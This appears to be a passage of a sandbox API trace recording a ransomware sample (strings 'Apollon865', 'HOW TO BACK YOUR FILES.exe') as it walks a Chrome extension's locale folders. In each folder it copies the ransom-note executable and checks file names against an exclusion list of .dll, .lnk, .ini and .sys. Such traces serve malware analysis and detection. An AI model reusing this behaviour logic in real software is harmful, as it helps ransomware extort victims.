	[0047.385] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83624340, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345123d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345123d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.385] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.385] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.386] lstrcpyW (in: lpString1=0x2d3e67c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.386] lstrlenW (lpString="messages.json") returned 13
	[0047.386] lstrlenW (lpString="Apollon865") returned 10
	[0047.386] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.386] lstrlenW (lpString=".dll") returned 4
	[0047.386] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.386] lstrlenW (lpString=".lnk") returned 4
	[0047.386] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.386] lstrlenW (lpString=".ini") returned 4
	[0047.386] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.386] lstrlenW (lpString=".sys") returned 4
	[0047.386] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.386] lstrlenW (lpString="messages.json") returned 13
	[0047.386] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh"
	[0047.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b1038 | out: hHeap=0x580000) returned 1
	[0047.386] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe28 | out: hHeap=0x580000) returned 1
	[0047.386] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh") returned 146
	[0047.386] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh"
	[0047.386] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.386] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.407] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\zh\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8361ce10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34538530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34538530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.408] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.408] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.408] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.408] lstrlenW (lpString="messages.json") returned 13
	[0047.408] lstrlenW (lpString="Apollon865") returned 10
	[0047.408] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.408] lstrlenW (lpString=".dll") returned 4
	[0047.408] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.408] lstrlenW (lpString=".lnk") returned 4
	[0047.408] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.408] lstrlenW (lpString=".ini") returned 4
	[0047.408] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.408] lstrlenW (lpString=".sys") returned 4
	[0047.408] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.408] lstrlenW (lpString="messages.json") returned 13
	[0047.408] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi"
	[0047.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0f00 | out: hHeap=0x580000) returned 1
	[0047.408] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afe08 | out: hHeap=0x580000) returned 1
	[0047.408] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi") returned 146
	[0047.408] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi"
	[0047.408] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.408] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.412] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.412] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\vi\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x836158e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34538530, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34538530, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.412] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.412] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.412] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.412] lstrlenW (lpString="messages.json") returned 13
	[0047.412] lstrlenW (lpString="Apollon865") returned 10
	[0047.412] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.412] lstrlenW (lpString=".dll") returned 4
	[0047.412] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.412] lstrlenW (lpString=".lnk") returned 4
	[0047.412] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.412] lstrlenW (lpString=".ini") returned 4
	[0047.412] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.412] lstrlenW (lpString=".sys") returned 4
	[0047.412] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.412] lstrlenW (lpString="messages.json") returned 13
	[0047.412] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk"
	[0047.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0dc8 | out: hHeap=0x580000) returned 1
	[0047.412] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afde8 | out: hHeap=0x580000) returned 1
	[0047.413] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk") returned 146
	[0047.413] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk"
	[0047.413] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.413] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.418] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\uk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8360bca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3455e690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3455e690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.419] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.419] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.419] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.419] lstrlenW (lpString="messages.json") returned 13
	[0047.419] lstrlenW (lpString="Apollon865") returned 10
	[0047.419] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.419] lstrlenW (lpString=".dll") returned 4
	[0047.419] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.419] lstrlenW (lpString=".lnk") returned 4
	[0047.419] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.419] lstrlenW (lpString=".ini") returned 4
	[0047.419] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.419] lstrlenW (lpString=".sys") returned 4
	[0047.419] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.419] lstrlenW (lpString="messages.json") returned 13
	[0047.419] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr"
	[0047.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c90 | out: hHeap=0x580000) returned 1
	[0047.419] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afdc8 | out: hHeap=0x580000) returned 1
	[0047.419] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr") returned 146
	[0047.419] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr"
	[0047.419] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.419] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.424] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.424] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835fd240, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3455e690, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3455e690, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.424] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.424] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.424] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.424] lstrlenW (lpString="messages.json") returned 13
	[0047.425] lstrlenW (lpString="Apollon865") returned 10
	[0047.425] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.425] lstrlenW (lpString=".dll") returned 4
	[0047.425] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.425] lstrlenW (lpString=".lnk") returned 4
	[0047.425] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.425] lstrlenW (lpString=".ini") returned 4
	[0047.425] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.425] lstrlenW (lpString=".sys") returned 4
	[0047.425] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.425] lstrlenW (lpString="messages.json") returned 13
	[0047.425] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th"
	[0047.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b58 | out: hHeap=0x580000) returned 1
	[0047.425] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afda8 | out: hHeap=0x580000) returned 1
	[0047.425] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th") returned 146
	[0047.425] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th"
	[0047.425] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.425] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.429] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.429] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835f5d10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345847f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345847f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.429] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.429] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.429] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.429] lstrlenW (lpString="messages.json") returned 13
	[0047.430] lstrlenW (lpString="Apollon865") returned 10
	[0047.430] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.430] lstrlenW (lpString=".dll") returned 4
	[0047.430] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.430] lstrlenW (lpString=".lnk") returned 4
	[0047.430] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.430] lstrlenW (lpString=".ini") returned 4
	[0047.430] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.430] lstrlenW (lpString=".sys") returned 4
	[0047.430] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.430] lstrlenW (lpString="messages.json") returned 13
	[0047.430] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te"
	[0047.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a20 | out: hHeap=0x580000) returned 1
	[0047.430] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afd88 | out: hHeap=0x580000) returned 1
	[0047.430] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te") returned 146
	[0047.430] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te"
	[0047.430] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.430] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\te\\how to back your files.exe"), bFailIfExists=1) returned 1
